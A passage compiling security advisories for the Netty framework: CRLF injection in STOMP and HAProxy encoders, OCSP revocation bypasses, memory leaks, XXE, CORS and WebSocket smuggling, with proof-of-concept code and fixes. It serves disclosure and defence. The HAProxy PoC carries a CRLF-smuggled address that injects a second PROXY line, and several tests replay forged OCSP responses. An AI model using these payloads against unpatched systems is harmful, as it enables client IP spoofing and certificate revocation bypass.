ByteBufUtil.writeUtf8(buf, headerKey); buf.writeByte(StompConstants.COLON); ByteBufUtil.writeUtf8(buf, headerValue); buf.writeByte(StompConstants.LF); } buf.writeByte(StompConstants.LF); }
private static void validateNoNewlines(CharSequence value, String type) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\n' || c == '\r') { throw new IllegalArgumentException( "STOMP CONNECT " + type + " contains illegal newline at index " + i); } } }
Option 2: Apply Escaping to All Commands
Simply remove the CONNECT/CONNECTED exception:
java private static boolean shouldEscape(StompCommand command) { return true; // Always escape }
Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach.
9. References
- STOMP 1.2 Specification - STOMP 1.2 Section 10: Value Encoding - CWE-93: Improper Neutralization of CRLF Sequences - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)
Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AFUNIX Address in Netty
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-haproxy) | | Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences | | Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
2. Affected Components
- io.netty.handler.codec.haproxy.HAProxyMessageEncoder — encodeV1() method (lines 63-77): writes sourceAddress and destinationAddress directly to output without CRLF validation - io.netty.handler.codec.haproxy.HAProxyMessage — constructor checkAddress() validates IPv4/IPv6 format but only checks length for AFUNIX (line 439)
3. Vulnerability Description
Netty's HAProxy protocol encoder writes AFUNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause — Encoder
java // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXTPREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), USASCII); // "UNIXSTREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), USASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); out.writeCharSequence(msg.destinationAddress(), USASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); // ... out.writeByte((byte) '\r'); out.writeByte((byte) '\n'); }
Root Cause — Insufficient Address Validation
java // HAProxyMessage.java:428-442 private static void checkAddress(String address, AddressFamily addrFamily) { switch (addrFamily) { case AFUNIX: ObjectUtil.checkNotNull(address, "address"); if (address.getBytes(CharsetUtil.USASCII).length > 108) { throw new IllegalArgumentException("invalid AFUNIX address: " + address); } return; // ONLY checks length <= 108, NO CRLF validation! case AFIPv4: if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF case AFIPv6: if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF } }
IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AFUNIX addresses only check length <= 108 — any characters including CRLF are accepted.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
1. An application uses Netty's HAProxyMessageEncoder to construct HAProxy V1 protocol headers 2. AFUNIX (UNIXSTREAM or UNIXDGRAM) addresses contain user-controlled input 3. The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases: - PROXY protocol relays that construct AFUNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers
5. Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
java String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIXSTREAM, maliciousAddr, // CRLF-injected source address "/var/run/dest.sock", 0, 0);
Wire format sent to backend: PROXY UNIXSTREAM /var/run/app.sock PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0
The backend receives two PROXY lines. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the second line, treating the connection as TCP4 from 10.0.0.1 - This enables client IP spoofing — the backend believes the client is 10.0.0.1 when it's not
6. Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.haproxy.; import java.nio.charset.StandardCharsets;
public class HAProxyUnixCRLFPoC { public static void main(String[] args) { System.out.println("=== Netty HAProxy AFUNIX CRLF Injection PoC ===\n");
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; String destAddr = "/var/run/dest.sock";
HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIXSTREAM, maliciousAddr, destAddr, 0, 0);
EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE); ch.writeOutbound(msg);
ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();
System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); }
int proxyCount = 0; for (String line : encoded.split("\r\n")) { if (line.startsWith("PROXY")) proxyCount++; } System.out.println("PROXY lines: " + proxyCount); System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO")); } }
How to Compile and Run
bash JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HAProxy AFUNIX CRLF Injection PoC ===
[TEST 1] AFUNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIXSTREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected!
7. Remediation Recommendations
Option 1: Validate AFUNIX Addresses for CRLF
java // HAProxyMessage.java checkAddress() - add for AFUNIX: case AFUNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.USASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AFUNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AFUNIX address contains prohibited CRLF character"); } } return;
Option 2: Validate in Encoder
java // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } }
8. References
- HAProxy PROXY Protocol v1 Specification - CWE-93: Improper Neutralization of CRLF Sequences - GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, the Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (Http2StreamFrameToHttpObjectCodec and InboundHttp2ToHttpAdapter) fails to deduplicate or validate Host headers when an HTTP/2 client supplies both the :authority pseudo-header and a literal host header in a single HEADERS frame. The translator maps :authority to Host and separately copies the literal host header, producing an HttpRequest object containing two Host headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Impact HttpContentEncoder (the superclass of the production handler HttpContentCompressor) maintains a per-channel ArrayDeque<CharSequence> named acceptEncodingQueue that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending Sec-WebSocket-Version: 7 and omitting Connection: Upgrade / Upgrade: websocket headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
Summary Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.
Details In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.
Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.
PoC
java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { OCSPRespBuilder respBuilder = new OCSPRespBuilder(); OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNALERROR, null); byte[] responseEncoded = response.getEncoded();
IoTransport mockTransport = IoTransport.create(group.next(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess();
ctx.executor().schedule(() -> { ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP11, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENTTYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENTLENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse); }, 500, TimeUnit.MILLISECONDS); } }); return channel; }, NioDatagramChannel::new);
X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.idadocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot);
SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();
CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>(); CountDownLatch dataReceivedLatch = new CountDownLatch(1);
new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc())); ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() { @Override protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) { receivedData.add(msg.toString(CharsetUtil.UTF8)); dataReceivedLatch.countDown(); } }); } }) .bind(8080) .sync() .channel();
SslContext clientSslCtx = SslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .build();
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport); Channel clientChannel = new Bootstrap() .group(group) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080)); ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver)); ch.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof SslHandshakeCompletionEvent) { SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt; if (sslEvent.isSuccess()) { ctx.writeAndFlush(Unpooled.copiedBuffer("SECRETDATA", CharsetUtil.UTF8)); } } ctx.fireUserEventTriggered(evt); } }); } }) .connect("127.0.0.1", 8080) .sync() .channel();
assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));
Thread.sleep(200);
assertFalse(receivedData.contains("SECRETDATA"), "Server should not receive the data."); } finally { group.shutdownGracefully(); } }
Impact TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.
Summary OcspServerCertificateValidator flags an out-of-date OCSP response but does not stop processing it, so an expired GOOD response is still reported as VALID, letting an on-path attacker replay a stale GOOD response to bypass revocation of a since-revoked certificate.
Details In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered the freshness check has no return, so execution falls through and a VALID OcspValidationEvent is still fired:
java if (!(current.after(response.getThisUpdate()) && current.before(response.getNextUpdate()))) { ctx.fireExceptionCaught(new IllegalStateException("OCSP Response is out-of-date")); }
Nonce validation is optional and off by default, so freshness is the only replay defense — and it is not enforced. Additionally getNextUpdate() may be null, making current.before(null) throw NullPointerException.
https://datatracker.ietf.org/doc/html/rfc6960#section-3.2
5. The time at which the status being indicated is known to be correct (thisUpdate) is sufficiently recent;
6. When available, the time at or before which newer information will be available about the status of the certificate (nextUpdate) is greater than the current time.
PoC
Add the test below to io.netty.handler.ssl.ocsp.OcspServerCertificateValidatorTest
java @Test void staleOcspResponseIsRejected() throws Exception { X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess( new AccessDescription(AccessDescription.idadocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot);
Date past = new Date(System.currentTimeMillis() - TimeUnit.DAYS.toMillis(7)); CertificateID certId = new CertificateID( new JcaDigestCalculatorProviderBuilder().build().get(CertificateID.HASHSHA1), new JcaX509CertificateHolder(caRoot.getCertificate()), targetCert.getCertificate().getSerialNumber()); BasicOCSPRespBuilder respBuilder = new BasicOCSPRespBuilder( new RespID(new JcaX509CertificateHolder(caRoot.getCertificate()).getSubject())); respBuilder.addResponse(certId, CertificateStatus.GOOD, past, past); BasicOCSPResp expiredBasicResp = respBuilder.build( new JcaContentSignerBuilder("SHA256withRSA").build(caRoot.getKeyPair().getPrivate()), new X509CertificateHolder[0], past); final byte[] responseEncoded = new OCSPRespBuilder() .build(OCSPRespBuilder.SUCCESSFUL, expiredBasicResp).getEncoded();
IoTransport defaultTransport = createDefaultTransport(); IoTransport mockTransport = IoTransport.create(defaultTransport.eventLoop(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess(); ctx.executor().execute(() -> { ctx.pipeline().fireChannelActive(); DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP11, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENTTYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENTLENGTH, httpResponse.content().readableBytes()); ctx.pipeline().fireChannelRead(httpResponse); }); } }); return channel; }, defaultTransport.datagramChannel());
SslContext serverSslCtx = SslContextBuilder .forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate(), caRoot.getCertificate()) .build(); Channel serverChannel = new ServerBootstrap() .group(defaultTransport.eventLoop()) .channel(NioServerSocketChannel.class) .childHandler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc())); } }) .bind(0).sync().channel();
int serverPort = ((InetSocketAddress) serverChannel.localAddress()).getPort();
AtomicBoolean validEventFired = new AtomicBoolean(); AtomicReference<Throwable> caughtException = new AtomicReference<>(); CountDownLatch latch = new CountDownLatch(1);
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport); SslContext clientSslCtx = SslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .build(); new Bootstrap() .group(defaultTransport.eventLoop()) .channel(NioSocketChannel.class) .handler(new ChannelInitializer<SocketChannel>() { @Override protected void initChannel(SocketChannel ch) { ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", serverPort)); ch.pipeline().addLast( new OcspServerCertificateValidator(true, false, mockTransport, resolver)); ch.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void userEventTriggered(ChannelHandlerContext ctx, Object evt) { if (evt instanceof OcspValidationEvent && ((OcspValidationEvent) evt).response().status() == OcspResponse.Status.VALID) { validEventFired.set(true); } ctx.fireUserEventTriggered(evt); }
@Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { caughtException.compareAndSet(null, cause); ctx.channel().close(); latch.countDown(); } }); } }) .connect("127.0.0.1", serverPort).sync();
assertTrue(latch.await(5, TimeUnit.SECONDS)); assertFalse(validEventFired.get(), "OcspValidationEvent(VALID) must not be emitted for a stale OCSP response"); assertNotNull(caughtException.get()); assertInstanceOf(IllegalStateException.class, caughtException.get());
serverChannel.close().sync(); resolver.close(); } Impact Certificate revocation bypass via replay of an expired OCSP response. Any application using OcspServerCertificateValidator is affected; a revoked certificate can be accepted.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and prior to 4.1.135.Final, OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID, which can lead to replay attack. OcspClient.validateResponse accepts a legitimately signed GOOD status response for an unrelated certificate issued by the same CA, allowing bypass of revocation checks for another certificate. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, a remote unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener. When a DATA frame is processed for a stream whose decompressor has already been closed, Http2Decompressor.decompress(...) calls decompressor.writeInbound(data.retain()) and does not release the retained buffer on the error path, eventually exhausting direct memory and crashing the JVM. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, any caller that can deliver bytes to a Netty channel pipeline containing XmlDecoder can send XML with a DOCTYPE declaration to an AsyncXMLInputFactory instantiated with no security configuration, leaving DTD and entity handling active depending on Aalto XML async parser behavior and creating conditional XML external entity risk. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYNSTREAM frame with FLAGFIN=0 and stores the partially constructed FullHttpRequest in messageMap; when the remote peer sends RSTSTREAM for that stream or the accumulated content exceeds maxContentLength, the decoder removes the entry but does not release the pooled ByteBuf, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final up to (but not including) 4.2.16.Final, and 4.1.0.Final up to (but not including) 4.1.135, the HAProxyMessageDecoder in Netty's codec-haproxy module performs protocol version detection by reading the 13th byte as a signed Java byte and widening it to int without masking; a PROXY protocol v2 binary prefix followed by version byte 0xFF sign-extends to -1, collides with the decoder's need-more-data sentinel, and causes ByteToMessageDecoder to accumulate inbound bytes in an unbounded cumulation buffer until direct memory is exhausted. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. Versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, are vulnerable to security control bypass during the origin evaluation process. CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Summary Netty's OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID. A bad actor can replay a GOOD status response issued for an unrelated certificate (by the same CA) to bypass revocation checks for any certificate.
Details io.netty.handler.ssl.ocsp.OcspClient#validateResponse fails to assert that the CertificateID within the returned BasicOCSPResp matches the original certificate being validated.
When OcspClient.query(...) executes, it builds an OCSP request using the victim certificate's serial number and issuer hash. It then sends this request and receives a response. While the client verifies the signature of the response against the trusted issuer (or a valid responder chain), it never checks the CertificateID inside the response payload.
A bad actor who has access to any other valid, non-revoked certificate issued by the same CA can obtain a legitimately signed OCSP response indicating that the unrelated certificate is GOOD. The bad actor can then return this valid response to the Netty client when it queries the status of any other certificate (e.g., a revoked certificate) issued by the same CA. Because the signature is valid (signed by the CA) and the CertificateID is ignored, the client will incorrectly accept the target certificate as valid.
As per https://datatracker.ietf.org/doc/html/rfc6960#section-3.2 we have:
Prior to accepting a signed response for a particular certificate as valid, OCSP clients SHALL confirm that:
1. The certificate identified in a received response corresponds to the certificate that was identified in the corresponding request;
PoC The following test case in io.netty.handler.ssl.ocsp.OcspClientTest demonstrates how the implementation accepts a forged OCSP response for a completely unrelated certificate, proving the bypass.
java @Test void testCertIdBypass() throws Exception { X509Bundle caRoot = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TrustedRootCA") .setIsCertificateAuthority(true) .buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/"); AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.idadocsp, ocspName)); X509Bundle targetCert = new CertificateBuilder() .algorithm(CertificateBuilder.Algorithm.rsa2048) .subject("CN=TargetServer") .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded()) .buildIssuedBy(caRoot);
X509CertificateHolder caHolder = new JcaX509CertificateHolder(caRoot.getCertificate()); BasicOCSPResp forgedBasicResp = createBasicOcspResponse(caRoot, new X509CertificateHolder[]{caHolder}); OCSPResp forgedResponse = new OCSPRespBuilder().build(OCSPRespBuilder.SUCCESSFUL, forgedBasicResp); byte[] forgedResponseEncoded = forgedResponse.getEncoded();
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { IoTransport transport = IoTransport.create(group.next(), () -> { NioSocketChannel channel = new NioSocketChannel(); channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() { @Override public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) { promise.setSuccess();
ctx.executor().execute(() -> { ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse( HttpVersion.HTTP11, HttpResponseStatus.OK, Unpooled.wrappedBuffer(forgedResponseEncoded)); httpResponse.headers().set(HttpHeaderNames.CONTENTTYPE, "application/ocsp-response"); httpResponse.headers().set(HttpHeaderNames.CONTENTLENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse); }); } }); return channel; }, NioDatagramChannel::new);
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(transport); Promise<BasicOCSPResp> promise = OcspClient.query(targetCert.getCertificate(), caRoot.getCertificate(), false, transport, resolver);
promise.await();
assertFalse(promise.isSuccess(), "Netty incorrectly accepted the response for the unrelated certificate. The CertificateID was ignored!"); } finally { group.shutdownGracefully(); } }
Impact Certificate Validation Bypass. Any application using Netty's OcspClient to check certificate revocation status is impacted.
Summary
A remote, unauthenticated peer can leak one direct ByteBuf per HTTP/2 DATA frame in applications that enable HTTP/2 content decompression via DelegatingDecompressorFrameListener. When a DATA frame is processed for a stream whose decompressor has already been closed, Http2Decompressor.decompress(...) retains the frame buffer but never releases it on the error path, so its reference count never returns to zero. Repeating this over a long-lived HTTP/2 connection exhausts direct memory and crashes the JVM with OutOfMemoryError — a denial of service.
Details
In codec-http2/src/main/java/io/netty/handler/codec/http2/DelegatingDecompressorFrameListener.java, Http2Decompressor.decompress(...) does:
java // around line 433 decompressor.writeInbound(data.retain());
The argument data.retain() is evaluated before writeInbound(...) executes, incrementing the buffer's reference count (refCnt: 1 -> 2). The very first statement of EmbeddedChannel.writeInbound(...) is ensureOpen() (EmbeddedChannel.java:360), which throws ClosedChannelException when the decompressor's internal EmbeddedChannel has already been closed.
When that happens: - the DATA payload has been retain()ed but never entered the pipeline, so the decoder's finally { release() } never runs; - the surrounding catch (Throwable t) block in decompress(...) (around line 451) does not release the extra reference; - the input buffer therefore can never reach refCnt 0, and its (typically direct) memory is leaked.
The decompressor channel is closed on a reachable path: Http2Connection onStreamRemoved → Http2Decompressor.cleanup() → EmbeddedChannel.finishAndReleaseAll() (DelegatingDecompressorFrameListener.java:125-133 and 418-420).
A peer that sends DATA frames for a stream whose decompressor has already been cleaned up (e.g. continuing to send DATA after ENDSTREAM / stream removal) thus leaks one direct ByteBuf per frame.
Affected code: DelegatingDecompressorFrameListener.java, method Http2Decompressor.decompress(...) — the decompressor.writeInbound(data.retain()) call (line ~433) and its catch (Throwable t) block (line ~451), which lacks a data.release() rollback.
Suggested fix: track whether writeInbound succeeded and roll back the extra retain() only when the data never entered the pipeline:
java boolean writeSucceeded = false; try { decompressor.writeInbound(data.retain()); writeSucceeded = true; // pipeline now owns the release if (endOfStream) { decompressor.finish(); } return 0; } catch (Throwable t) { if (!writeSucceeded) { data.release(); // roll back the extra retain(); data never entered pipeline } if (t instanceof Http2Exception) { throw (Http2Exception) t; } throw streamError(stream.id(), INTERNALERROR, t, ...); }
| Case | writeSucceeded | catch action | Reason | |------|:---:|---|---| | ensureOpen() throws (this bug) | false | data.release() | data never entered pipeline | | handler throws internally | true | no release | decoder finally already released | | finish() throws | true | no release | writeInbound already succeeded |
PoC
Reproduced against the official, unmodified netty-codec-http2-4.2.15.Final.jar from Maven Central, using real netty classes and measuring ByteBuf.refCnt() directly (the leaking logic is not mocked).
Reproduction steps:
1. Download the official artifacts and their dependencies from Maven Central (version 4.2.15.Final): netty-common, netty-buffer, netty-transport, netty-resolver, netty-handler, netty-codec-base, netty-codec, netty-codec-http, netty-codec-http2, netty-codec-compression. 2. Build a real Http2Decompressor wrapping a real gzip decoder EmbeddedChannel (ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP)). 3. Close the internal decompressor channel (equivalent to the end state of cleanup() / finishAndReleaseAll()). 4. Encode a real gzip DATA payload with ZlibCodecFactory.newZlibEncoder(GZIP) (refCnt = 1). 5. Call decompress(...) on the closed channel. 6. Observe: writeInbound(...) throws ClosedChannelException at its ensureOpen() entry (EmbeddedChannel.java:360), reached from DelegatingDecompressorFrameListener.java:433; data.refCnt() is now 2. 7. Release once as the frame reader would; refCnt stays at 1 (release() returns false) → leaked.
Observed reference-count trace:
gzipData initial refCnt = 1 decompress -> data.retain() -> refCnt = 2 (retain applied, never rolled back) caller releases once -> refCnt = 1 (release() returns false; not deallocated) => buffer never reaches 0 -> direct memory leaked
Observed exception stack (confirms the leak point):
java.nio.channels.ClosedChannelException at io.netty.channel.embedded.EmbeddedChannel.checkOpen(EmbeddedChannel.java:959) at io.netty.channel.embedded.EmbeddedChannel.ensureOpen(EmbeddedChannel.java:979) at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:360) at io.netty.handler.codec.http2.DelegatingDecompressorFrameListener$Http2Decompressor .decompress(DelegatingDecompressorFrameListener.java:433)
Two notes on the harness (they do not affect the leak mechanism): - The internal channel is closed directly via close() rather than through cleanup(). The end state is identical (channel closed → writeInbound throws at ensureOpen()); the bug depends on "channel closed → retain not rolled back", not on how the channel was closed. - In the isolated harness the rethrown StreamException's root cause shows as NullPointerException because the harness does not initialise an Http2LocalFlowController (a secondary exception reported during channel close). The leak is already sealed at the ClosedChannelException thrown by writeInbound's ensureOpen() (line 360); in a real server with the flow controller initialised, the triggering exception is the ClosedChannelException itself.
A complete self-contained PoC (Verify02DecompressLeak.java, ~150 lines, no test framework) plus the exact javac / java commands can be attached on request.
Impact
